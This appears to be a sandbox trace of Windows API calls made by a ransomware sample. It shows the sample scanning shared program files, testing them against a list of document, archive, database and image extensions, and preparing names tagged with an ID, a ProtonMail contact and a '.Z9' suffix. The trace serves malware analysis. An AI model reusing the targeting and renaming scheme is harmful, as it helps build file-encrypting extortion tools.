	[0161.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0161.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0161.341] lstrlenW (lpString=".doc") returned 4
	[0161.341] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0161.341] lstrlenW (lpString=".docx") returned 5
	[0161.341] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0161.341] lstrlenW (lpString=".pdf") returned 4
	[0161.341] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0161.341] lstrlenW (lpString=".xls") returned 4
	[0161.341] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0161.341] lstrlenW (lpString=".xlsx") returned 5
	[0161.341] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0161.341] lstrlenW (lpString=".ppt") returned 4
	[0161.341] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0161.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0161.341] lstrlenW (lpString=".zip") returned 4
	[0161.341] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0161.341] lstrlenW (lpString=".rar") returned 4
	[0161.341] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0161.342] lstrlenW (lpString=".bz2") returned 4
	[0161.342] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0161.342] lstrlenW (lpString=".7z") returned 3
	[0161.342] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0161.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0161.342] lstrlenW (lpString=".dbf") returned 4
	[0161.342] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0161.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0161.342] lstrlenW (lpString=".1cd") returned 4
	[0161.342] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0161.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0161.342] lstrlenW (lpString=".jpg") returned 4
	[0161.342] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0161.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0161.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0161.342] lstrlenW (lpString=".doc") returned 4
	[0161.342] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0161.342] lstrlenW (lpString=".docx") returned 5
	[0161.342] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0161.342] lstrlenW (lpString=".pdf") returned 4
	[0161.342] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0161.342] lstrlenW (lpString=".xls") returned 4
	[0161.342] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0161.342] lstrlenW (lpString=".xlsx") returned 5
	[0161.342] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0161.342] lstrlenW (lpString=".ppt") returned 4
	[0161.342] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0161.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0161.342] lstrlenW (lpString=".zip") returned 4
	[0161.342] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0161.342] lstrlenW (lpString=".rar") returned 4
	[0161.343] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0161.343] lstrlenW (lpString=".bz2") returned 4
	[0161.343] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0161.343] lstrlenW (lpString=".7z") returned 3
	[0161.343] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0161.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0161.343] lstrlenW (lpString=".dbf") returned 4
	[0161.343] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0161.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0161.343] lstrlenW (lpString=".1cd") returned 4
	[0161.343] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0161.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0161.343] lstrlenW (lpString=".jpg") returned 4
	[0161.343] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0161.343] Sleep (dwMilliseconds=0x64) 
	[0161.650] lstrcmpiW (lpString1=".htm", lpString2=".Z9") returned -1
	[0161.651] lstrlenW (lpString="Garden.htm") returned 10
	[0161.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0161.667] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=231) returned 1
	[0161.667] CloseHandle (hObject=0x39c) returned 1
	[0161.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20
	[0161.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0161.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0161.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0161.668] lstrlenW (lpString=".doc") returned 4
	[0161.668] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0161.668] lstrlenW (lpString=".docx") returned 5
	[0161.668] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1
	[0161.668] lstrlenW (lpString=".pdf") returned 4
	[0161.668] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0161.668] lstrlenW (lpString=".xls") returned 4
	[0161.668] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0161.668] lstrlenW (lpString=".xlsx") returned 5
	[0161.668] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1
	[0161.668] lstrlenW (lpString=".ppt") returned 4
	[0161.668] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0161.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0161.668] lstrlenW (lpString=".zip") returned 4
	[0161.668] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0161.668] lstrlenW (lpString=".rar") returned 4
	[0161.668] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0161.668] lstrlenW (lpString=".bz2") returned 4
	[0161.668] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0161.668] lstrlenW (lpString=".7z") returned 3
	[0161.668] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0161.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0161.668] lstrlenW (lpString=".dbf") returned 4
	[0161.668] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0161.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0161.668] lstrlenW (lpString=".1cd") returned 4
	[0161.668] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0161.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0161.668] lstrlenW (lpString=".jpg") returned 4
	[0161.668] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0161.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0161.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0161.669] lstrlenW (lpString=".doc") returned 4
	[0161.669] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0161.669] lstrlenW (lpString=".docx") returned 5
	[0161.669] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1
	[0161.669] lstrlenW (lpString=".pdf") returned 4
	[0161.669] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0161.669] lstrlenW (lpString=".xls") returned 4
	[0161.669] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0161.669] lstrlenW (lpString=".xlsx") returned 5
	[0161.669] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1
	[0161.669] lstrlenW (lpString=".ppt") returned 4
	[0161.669] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0161.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0161.669] lstrlenW (lpString=".zip") returned 4
	[0161.669] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0161.669] lstrlenW (lpString=".rar") returned 4
	[0161.669] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0161.669] lstrlenW (lpString=".bz2") returned 4
	[0161.669] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0161.669] lstrlenW (lpString=".7z") returned 3
	[0161.669] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0161.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0161.669] lstrlenW (lpString=".dbf") returned 4
	[0161.669] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0161.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0161.669] lstrlenW (lpString=".1cd") returned 4
	[0161.669] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0161.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0161.669] lstrlenW (lpString=".jpg") returned 4
	[0161.669] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0161.669] lstrcmpiW (lpString1=".jpg", lpString2=".Z9") returned -1
	[0161.670] lstrlenW (lpString="HandPrints.jpg") returned 14
	[0161.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0161.671] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=4222) returned 1
	[0161.671] CloseHandle (hObject=0x39c) returned 1
	[0161.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20
	[0161.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0161.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0161.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0161.672] lstrlenW (lpString=".doc") returned 4
	[0161.672] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0161.672] lstrlenW (lpString=".docx") returned 5
	[0161.672] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0161.672] lstrlenW (lpString=".pdf") returned 4
	[0161.672] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0161.672] lstrlenW (lpString=".xls") returned 4
	[0161.672] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0161.672] lstrlenW (lpString=".xlsx") returned 5
	[0161.672] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0161.672] lstrlenW (lpString=".ppt") returned 4
	[0161.672] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0161.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0161.672] lstrlenW (lpString=".zip") returned 4
	[0161.672] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0161.672] lstrlenW (lpString=".rar") returned 4
	[0161.673] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0161.673] lstrlenW (lpString=".bz2") returned 4
	[0161.673] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0161.673] lstrlenW (lpString=".7z") returned 3
	[0161.673] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0161.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0161.673] lstrlenW (lpString=".dbf") returned 4
	[0161.673] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0161.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0161.673] lstrlenW (lpString=".1cd") returned 4
	[0161.673] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0161.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0161.673] lstrlenW (lpString=".jpg") returned 4
	[0161.673] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0161.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0161.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0161.673] lstrlenW (lpString=".doc") returned 4
	[0161.673] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0161.673] lstrlenW (lpString=".docx") returned 5
	[0161.673] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0161.673] lstrlenW (lpString=".pdf") returned 4
	[0161.673] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0161.673] lstrlenW (lpString=".xls") returned 4
	[0161.673] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0161.673] lstrlenW (lpString=".xlsx") returned 5
	[0161.673] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0161.673] lstrlenW (lpString=".ppt") returned 4
	[0161.673] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0161.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0161.673] lstrlenW (lpString=".zip") returned 4
	[0161.673] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0161.673] lstrlenW (lpString=".rar") returned 4
	[0161.673] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0161.673] lstrlenW (lpString=".bz2") returned 4
	[0161.673] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0161.673] lstrlenW (lpString=".7z") returned 3
	[0161.673] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0161.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0161.674] lstrlenW (lpString=".dbf") returned 4
	[0161.674] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0161.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0161.674] lstrlenW (lpString=".1cd") returned 4
	[0161.674] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0161.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0161.674] lstrlenW (lpString=".jpg") returned 4
	[0161.674] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0161.674] lstrcmpiW (lpString1=".htm", lpString2=".Z9") returned -1
	[0161.674] lstrlenW (lpString="Peacock.htm") returned 11
	[0161.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0161.674] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=232) returned 1
	[0161.675] CloseHandle (hObject=0x39c) returned 1
	[0161.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20
	[0161.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0161.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0161.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0161.675] lstrlenW (lpString=".doc") returned 4
	[0161.676] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0161.676] lstrlenW (lpString=".docx") returned 5
	[0161.676] lstrcmpiW (lpString1=".docx", lpString2="k.htm") returned -1
	[0161.676] lstrlenW (lpString=".pdf") returned 4
	[0161.676] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0161.676] lstrlenW (lpString=".xls") returned 4
	[0161.676] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0161.676] lstrlenW (lpString=".xlsx") returned 5
	[0161.676] lstrcmpiW (lpString1=".xlsx", lpString2="k.htm") returned -1
	[0161.676] lstrlenW (lpString=".ppt") returned 4
	[0161.676] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0161.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0161.676] lstrlenW (lpString=".zip") returned 4
	[0161.676] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0161.676] lstrlenW (lpString=".rar") returned 4
	[0161.676] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0161.676] lstrlenW (lpString=".bz2") returned 4
	[0161.676] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0161.676] lstrlenW (lpString=".7z") returned 3
	[0161.676] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0161.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0161.676] lstrlenW (lpString=".dbf") returned 4
	[0161.676] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0161.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0161.676] lstrlenW (lpString=".1cd") returned 4
	[0161.676] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0161.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0161.676] lstrlenW (lpString=".jpg") returned 4
	[0161.676] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0161.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0161.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0161.676] lstrlenW (lpString=".doc") returned 4
	[0161.676] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0161.676] lstrlenW (lpString=".docx") returned 5
	[0161.676] lstrcmpiW (lpString1=".docx", lpString2="k.htm") returned -1
	[0161.676] lstrlenW (lpString=".pdf") returned 4
	[0161.677] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0161.677] lstrlenW (lpString=".xls") returned 4
	[0161.677] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0161.677] lstrlenW (lpString=".xlsx") returned 5
	[0161.677] lstrcmpiW (lpString1=".xlsx", lpString2="k.htm") returned -1
	[0161.677] lstrlenW (lpString=".ppt") returned 4
	[0161.677] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0161.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0161.677] lstrlenW (lpString=".zip") returned 4
	[0161.677] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0161.677] lstrlenW (lpString=".rar") returned 4
	[0161.677] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0161.677] lstrlenW (lpString=".bz2") returned 4
	[0161.677] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0161.677] lstrlenW (lpString=".7z") returned 3
	[0161.677] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0161.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0161.677] lstrlenW (lpString=".dbf") returned 4
	[0161.677] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0161.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0161.677] lstrlenW (lpString=".1cd") returned 4
	[0161.677] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0161.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0161.677] lstrlenW (lpString=".jpg") returned 4
	[0161.677] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0161.677] lstrcmpiW (lpString1=".htm", lpString2=".Z9") returned -1
	[0161.677] lstrlenW (lpString="Roses.htm") returned 9
	[0161.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0161.679] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=233) returned 1
	[0161.680] CloseHandle (hObject=0x39c) returned 1
	[0161.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20
	[0161.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0161.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67
	[0161.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67
	[0161.680] lstrlenW (lpString=".doc") returned 4
	[0161.680] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0161.680] lstrlenW (lpString=".docx") returned 5
	[0161.680] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0161.680] lstrlenW (lpString=".pdf") returned 4
	[0161.680] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0161.680] lstrlenW (lpString=".xls") returned 4
	[0161.680] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0161.680] lstrlenW (lpString=".xlsx") returned 5
	[0161.680] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0161.680] lstrlenW (lpString=".ppt") returned 4
	[0161.680] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0161.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67
	[0161.680] lstrlenW (lpString=".zip") returned 4
	[0161.680] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0161.680] lstrlenW (lpString=".rar") returned 4
	[0161.680] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0161.680] lstrlenW (lpString=".bz2") returned 4
	[0161.680] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0161.680] lstrlenW (lpString=".7z") returned 3
	[0161.680] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0161.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67
	[0161.680] lstrlenW (lpString=".dbf") returned 4
	[0161.680] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0161.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67
	[0161.681] lstrlenW (lpString=".1cd") returned 4
	[0161.681] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0161.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67
	[0161.681] lstrlenW (lpString=".jpg") returned 4
	[0161.681] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0161.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67
	[0161.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67
	[0161.681] lstrlenW (lpString=".doc") returned 4
	[0161.681] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0161.681] lstrlenW (lpString=".docx") returned 5
